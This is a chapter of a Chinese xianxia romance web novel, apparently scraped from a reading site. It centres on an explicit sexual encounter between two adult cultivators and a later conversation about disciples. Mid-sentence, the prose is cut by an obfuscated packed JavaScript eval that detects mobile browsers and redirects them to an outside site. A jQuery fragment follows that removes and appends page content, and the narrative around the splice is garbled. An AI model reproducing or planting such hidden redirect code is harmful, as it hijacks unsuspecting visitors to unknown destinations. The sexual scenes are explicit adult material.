147. 吃饭
作品:《女主既要又要怎么了》 诗景打坐过了一遍心法后沐浴更衣,夜已降临。凌锵峰殿中弥漫着一股清香,今日邵柏言身着月白色衣裳,上方点缀着几处恰好的淡紫色图案,显得他整个人贵气又雅致,坐在一旁闭目打坐修行。
诗景鼻子动了动,浅笑晏晏,戏谑道:“可是刚沐浴完?专门在这等着我呢。”
邵柏言闻言,结束手中打坐,睁眼,将一双长腿放下,整理下衣物。
诗景喊住他,“别动。”打了个响指,房内灯火瞬间扑灭,一个发光小盘子从诗景手中飞出,它悬浮在房间上方,再一个响指,小盘子瞬间在房内墙壁上投影出一串串似珠子的暖光色亮光,离地面一小段距离处隐射出一个个同样发着暖光的各式各样花灯。给整个房间营造了一种温馨的氛围。
诗景从怀中一变,变出一大束娇艳欲滴的红玫瑰,双手捧着花,脑袋从花后冒出,“我看书上说,此事需有些仪式感,我脑瓜子里想不出来太浪漫的法子,只能照葫芦画瓢了。”
邵柏言失笑,“在人间呆了会倒是把人间的法子学来了,只不过想来只有男子送女子玫瑰花的,哪有反过来的。”
“爱应是平等的,花儿由谁送不重要,重要的是它所见证的两人应是彼此喜欢,相互尊重。”诗景似乎也意识到捧着这么大一束花不太方便,将花放在桌面之上,“不过来瞧瞧嘛?”
邵柏言下榻走过来,从背后搂住她的腰,头靠在她的脖颈处,象征性看了一眼花,“看得出来用了心了。”
感受到他的目光停留都不及片刻,她不解:“怎么,不喜欢?”
“傻瓜,重要的不是花,是你的心意,我感受到了!”邵柏言搂紧一点她。
“我们在一起十年多一点了吧,怎么感觉你比先前粘人了些。”诗景将手放在他的手背处,歪头问他。
邵柏言无声叹了口气,“因为当初我在忙你稍闲,自从你当了掌司就忙了很多,我就相对闲了下来。不过,我也是这段时间亲身体验过了才知道你当初为我迁就了不少吧。”
“嗯?”
邵柏言接着说,“当初你刚入派没多久,我们全派上下都在忙活着炼魂禁术的事情,在很多方面有意无意便会忽略你的感受,是你一直在迁就包容我,又帮助我们一起查线索,还原当年真相,你还为此屡次受伤。”说到此处,邵柏言的语气中带上了自责与后怕,
“炼魂禁术这几年在三大陆被打压得厉害,现在就差找出证据推翻那人,我这个掌门相对过往而言就松下来一些,而你却忙活起来了,我知道你一开始是抱着守护你所想要守护的人去争取这个掌司的,后来你也是切切实实把它当成你的事业去做,我都明白,只是有时候见不着人,也抱不着人,心中会忍不住想念。”
诗景摇头,“喜欢本就是相互包容呀,当初我也有自己的事情在忙活,只是时间相对弹性,可以根据你的计划而变化。帮你们其实也在帮天下苍生,是在逐步完善我心中之道,既然要走这条道,受伤是在所难免的,你若是把我所受的伤都揽到你身上,那对你也不公平。
而且你真的也帮了我很多很多,也为我受过伤,指导我修炼,我知道在我当上这个掌司后你也暗中帮助了我不少,我一直都很感激所有帮助我的人,当然也包括你呀,谢谢你和我说这个,我会尽可能平衡好掌司处的事和与你在一起的时间,好不好?”
邵柏言轻哼了一声,“光嘴皮说,实际行动总得付出点什么吧。”
诗景眼睛一亮,在他怀中巧妙地翻了个身,与他面对面而站,一双仿佛盛有碎星的眼眸此刻亮晶晶的,“你是在邀请我做些什么事情吗?”
诗景往床的方向,向着他上前一步,邵柏言跟着她的步伐往后一步,诗景将手放在他的衣襟上,再往前一步,“你不说话我就当你默认了哦。”
诗景的手改放到他的喉结处,从喉结一路往下抚摸,一步又一步,缓慢又带着一股势在必得的劲头,把他逼向床旁。
邵柏言嘴角一直噙着笑,看她一点点拨开他的衣襟,脚步跟着往床边退去,他看得分明,她眼中是他先前从未见过的渴望,还有最后两步,他问:“你的知识学得如何了?”
“敏而好学,自当是得学会了些才来。”诗景用手指微微挑起他的下巴,“柏言可还没回答我,是愿意还是不愿意?”
邵柏言脚跟已经触碰到床底木板,笑,“都这样了,还要问我吗?”
诗景用手心轻轻推他,邵柏言顺势坐在床旁边,他望着她的眼神温柔得令人心底塌了一块,那一双漂亮的眼眸中只印着她的身影,诗景的心跳也有些快,但面上还是一副风轻云淡的模样,她再次握起他的下巴迫使他仰起头。
诗景的吻就这么落了下来,带着一股强势却又不失温柔的力度,邵柏言双手掌心撑住床,闭上眼享受这一刻二人时光,诗景将二人距离拉近,她听到他闷哼一声,这个长长的吻这才结束,邵柏言看了一眼,脸色有些红,有些关切地问:“可以吗?”
“我相信我的学习能力,以及你的天赋异禀。”诗景的声音也没那么稳了,额间出现了一些细密的汗水。
邵柏言腾出一只手,使了巧劲,“谢谢夸奖。”他活跃身体,道“继续。”
“好!”
诗景在各方面都很聪慧,带着求知探索的精神,细揉慢捻的,磨人得紧。
诗景手指顺着他的眉眼抚摸,他欣长的眼睫微颤,眼尾的艳红似火,泛着若隐若现的水光,微微仰起头来,神色露出几分隐忍,他皮肤偏白,此刻白里透红,细细汗珠渗出他的脸颊肌肤,诗景咬了咬他的喉结,“怎么不出声?”
他望着她,牙齿微咬着下唇,还是不肯出声,诗景笑笑,加快了些,吻住他的唇,撬开,如愿听到了他的声音,比以往更加低沉,
她突然用力抱紧邵柏言,颤动起来,因她的动作,他再也忍不住。
邵柏言唇瓣往后撤退了些,问:“今日可学了口诀?”
“自然。”诗景顺势吻了吻他的嘴角,口中轻声念叨着口诀,体内灵力运转。约一盏茶时间后,修为更上一层。她稍起身,将距离分离开。
邵柏言撑住床的双手改为搂住她的腰间,“我服了避子丹,放心!”
“嗯?”诗景有些慵懒靠在他的怀中,反问。
“找胡长老拿的,据说是效用最好的丹药。”
“看来你早有准备。”诗景浅笑。
邵柏言一噎,“派中自有道侣修士,备有此丹再正常不过。”他不愿与她细说今日拿丹药时,胡玶那意味深长的眼神,以及掩不住笑的嘴角。
诗景调整了下位置,身体再次微颤,搂住他的脖子,约半盏茶时间才缓过神来,邵柏言了然,问:“又?”
诗景应了声。
“你看了医书,当是知道男子间隔需要些许时间吧。”
“知道,在此期间你要帮我吗。”
“当然,下一次我来主导可以吗?”
“成交!”
邵柏言一手轻轻抚摸她的背,另一手时轻时重地压着,得到她再一次抱紧他的身子。
“我可以了。”邵柏言一脸可怜兮兮的模样望着诗景,诗景微颔首。二人换了位置,邵柏言修长的手指学着她的样子,仔细轻柔地抚摸她的眉眼,再一次感受到对方,二人都感到有些满足。
诗景轻点了一点心脉处,一股奇异的感觉从邵柏言心头传出至五脏六腑,诗景撒娇道:“我也要感受你的,用古法的心灵共通。”
邵柏言嘴角一笑,“好。”轻点了心脉,诗景眼睛一下子亮了不少,“你的感觉更清晰诶。”
邵柏言的耳廓更红了,他知道她受这个世间影响较轻,论脸皮他自当是自认下风。他略一低头,诗景张开手搭在他脖子上,邵柏言仔细观察着她的神态,他向来是个温柔细致的性子,行为上也是缱绻缠绵,亲她吻她,目光所及之处皆是落点,心跳由于古法作用得到同频,分不出谁是谁的心跳了。
诗景看着邵柏言眼尾红得比刚刚更甚,低沉的嗓音发出悦耳的音调,古法作用,可以让两人一边感受自己的一边感受对方的,双重刺激下,诗景有些满足,邵柏言缓了下来,与她一同感受,这是他未曾体验过的。
最后,他吻了吻她的眼角,吻去泪痕,俯首在她耳畔厮磨了会,他声音本就清越,此刻更是锦上添花。诗景笑着吻上他,与他细细感受一切化作风平浪静,这也是诗景未曾感受过的东西。
许久,他们还感受着,邵柏言拨开她额间的碎发,也带上了慵懒的调询问:“如何?”
诗景将他轻推倒在身旁,二人侧躺着。“很新奇的体验,有我的,也有你的。”
“我可能不仅想问这个,诗景。”
“天赋异禀,我很喜悦!”她吻了吻他的嘴角,引来他羞涩一笑,将她搂进怀中。“你满意就好!”
“沐浴吗?”诗景感受到黏腻,问。
“好!”邵柏言摸摸她的头,快速应道。
他起身,坐直身子,这才分开。引来她一声浅哼,邵柏言明知故问,“怎么了?”被诗景轻捶了一把胸|口。
诗景尚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212999|186477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未反应过来,一手臂膀穿过她的膝盖下方,另一手穿过她的背部,他将直接打横抱起了她,肌肤贴近她更能感受到他手臂的力量,邵柏言将她带到了殿内小浴池旁,浴池旁已经放好了衣裳,有男式的也有女款的。
诗景搂紧他,笑出声,“原来某人连浴池都准备好了。”邵柏言将她放下,躲闪她戏谑的眼神,先进了温浴池中,水波震动,她也进入了水池之中,水温正合适。
许是经历过一番,他本就柔情似水的眼眸此刻含情脉脉地看着她入水,眼尾的艳红更显得风情,眼底眸中泛着细碎的光芒,诗景一看到就有些忍不住向他走进,浴池本就不深,她所走的每一步他都看在眼里,欣赏又不失渴望。
诗景在他跟前不远处停下步伐,双手掬起一汪水,往邵柏言身上泼,他的头发被水浸润上了,还散落着几颗小水滴,脸颊上也挂上了好几颗她的杰作。
他也反手一拍,溅起的水同样打到了对方身上。两人像孩童戏水一样,玩了好一阵。
不知不觉中又靠近了,邵柏言长臂一揽,将她揽过来,落入他的怀中,柔软的触感落入她的唇上,高挺的鼻尖剐蹭着她的脸颊,许是水温也正合适,她化作一汪柔软的春水任由他抱紧她,圈紧她在怀中,背部动作不停,一下又一下划开。
呼吸被掠夺,他抱着她压在浴池旁壁上,唇瓣分开,乌黑浓密的秀发在水中漂浮纠缠,重叠垒在一起,一眼望去辩不出是谁的,“可以吗?”他问,手却不曾离开她的腰,轻轻摩挲着,也不让她逃离。
诗景学着他的口吻:“都这样了,还要问我吗?”她在浴池中借力,邵柏言抱紧她。
邵柏言修长的手指从她脸颊往下,口腹之欲满足了,他才抬起头来,惯来温柔的脸庞带上了一丝强势,掺杂着忍耐,用勾人心魂的声音蛊惑她:“诗景,唤我。”
“柏言。”诗景依着他来,却被他使了劲,反驳回来。
“不够。”他软着音调继续蛊惑道,“再来!”
“柏言~”
听闻她的声音,水波再起泛起波澜,不知道过去了多久,水面逐渐恢复平静,两人静静地相拥着。诗景站立在浴池之上,稍分开距离。
两人眼尾都染上了粉红,邵柏言目光专注而怜惜的在脑海里镌刻下她的模样,在她额间虔诚落下一吻。“我真的很欢喜,遇见你真的是我一生所幸!”
诗景闻言,瞳孔微放大,没料想到他会突然说这话,不过片刻,又化作嘴角一丝笑意。
他往后退了一步,分开。
诗景感受到体内的变化,手指把玩着他的发尾,慵懒地开口:“可曾懂得水满则溢?”通过心脉的古法力量把感受传给他。
“我帮你善后。”邵柏言脸颊耳廓顺势变得通红,诗景心安理得地靠在他怀中,接受他的服务。
“忍了许久?”
“嗯,忍了许久。”
诗景笑,适时发出些声音,不安分动了动。
“别闹了。”邵柏言无奈,吻了吻她的眉眼。
“我知道你还在间歇期,医书说了间歇期的时间会越来越长,我很放心。”
邵柏言气笑了一瞬,手上动作带了些狠,在她耳畔说着,“下次我会补回来的。”
“随时欢迎!”诗景才不怕他呢,靠在他怀中闭目休息会。诗景心脉处希望种子的第二颗芽快速成长,向上长着,分叉出新的芽,继续生长。由黄白色蜕变为白色
……
邵柏言穿戴好服饰,转身帮她穿戴好最后一件外裳,看着她脖子上自己种下的梅花,感到格外心满意足,“需要消掉吗?”
“我这几日无事,操心的主要还是那几个徒儿的修为之事,留在凌锵峰安排便可以了。这个你想不消便不消吧,对了,你身为一派掌门也该收些徒儿了吧,你看其他各长老早已经收了徒儿。”
邵柏言摇了摇头,“你身为师父难道不知为人师父需耗费诸多心神嘛,等为师父报了仇我再在派中寻个合适的接班人好好培养就好,无需收徒。倒是你,我听说你此次下山收了对姐弟当徒儿?”邵柏言格外咬重了“弟”音。“不知其容貌俊丽否?”
诗景听出来了,笑,“少在这阴阳怪气,我最喜欢你了。我收徒其实也是有考量的。芸儿上手很快,可仅靠她和任泉祯是不够的。舒雅清和舒凛皓不幸经历了这一遭,对歪魔邪道有一定的了解,在日后出行任务中我们也需要借助他们两姐弟的能力。”
“嗯,有什么需要的也可以和我说。”邵柏言手指轻轻抚摸着她脖颈上的梅花,说着。

